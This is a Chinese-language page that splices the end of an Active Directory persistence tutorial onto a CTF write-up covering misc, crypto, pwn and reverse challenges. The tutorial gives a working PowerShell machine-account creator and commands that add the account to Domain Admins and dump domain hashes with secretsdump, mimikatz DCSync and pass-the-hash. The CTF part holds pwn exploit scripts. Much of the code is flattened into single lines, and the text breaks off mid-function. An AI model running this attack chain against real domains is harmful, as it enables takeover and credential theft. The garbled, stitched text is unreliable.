    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"
    $DC_array = $Domain.Split(".")

    ForEach($DC in $DC_array)
    {
        $DistinguishedName += ",DC=$DC"
    }

    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"

    FormatStatus 1 "Start creating a machine account $MachineAccount"
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)

    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
    $request.DistinguishedName = $DistinguishedName
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null

    try
    {
        $connection.SendRequest($request) > $null
        FormatStatus 1  "Create machine account $MachineAccount successfully"
    }
    catch
    {
        FormatStatus 0  "$($_.Exception.Message)"

        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
        {
            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
        }

    }
}

运行该脚本即可创建一个新的域控账户,如下图所示。

Import-Module .\NewDomainController.ps1
NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"

mh3smpgiqwo15534.png

机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。

net group "Domain Admins" PENTEST$ /add /domain

wiv5fbfcdwe15539.png

如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc-user  "PENTEST\Administrator"

klnd235e2zq15544.png

值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示:

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11

lk2sv1ga5xt15548.png


python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt2cqb3mbhw4s15552.jpg

0x02  实验测试一(推荐使用)

添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)

工具地址:https://github.com/chibd2000/hyscan

添加机器用户命令:

hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11

可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中

fon1vhkh4jw15558.png

查看域控制器成员,发现机器用户DCBAK已在列表中

  net group "domain controllers" /domain

bb325jyt0ct15561.png

在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。

 runas /user:hengge.com\dcback /netonly cmd

wskwxzwmkj115564.png

在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash

mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit

mktnjyosehy15567.png

impacket serectdump进行DCYNC的DUMP出域的hash

python secretsdump.py hengge.com/dcback$@192.168.4.11 -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm

qjhi5rgkboc15570.png



参考文章https://whoamianony.top/domain-persistence-machine-accounts/https://itach1.com/archives/102/#cl-1https://adsecurity.org/?p=2753  https://www.cnblogs.com/zpchcbd/p/15840413.htmlhttps://stealthbits.com/blog/server-untrust-account/

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓rikyroxyzbh15438.jpgb= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

1rrpwujiqmv15442.jpg

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


4xqhdt53o1y15448.png

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开10wd3miklhi15451.jpg在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知aifc4usj2ah15455.jpg在字符串”good”后找到密文ig4gzn3dj1u15458.jpg解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
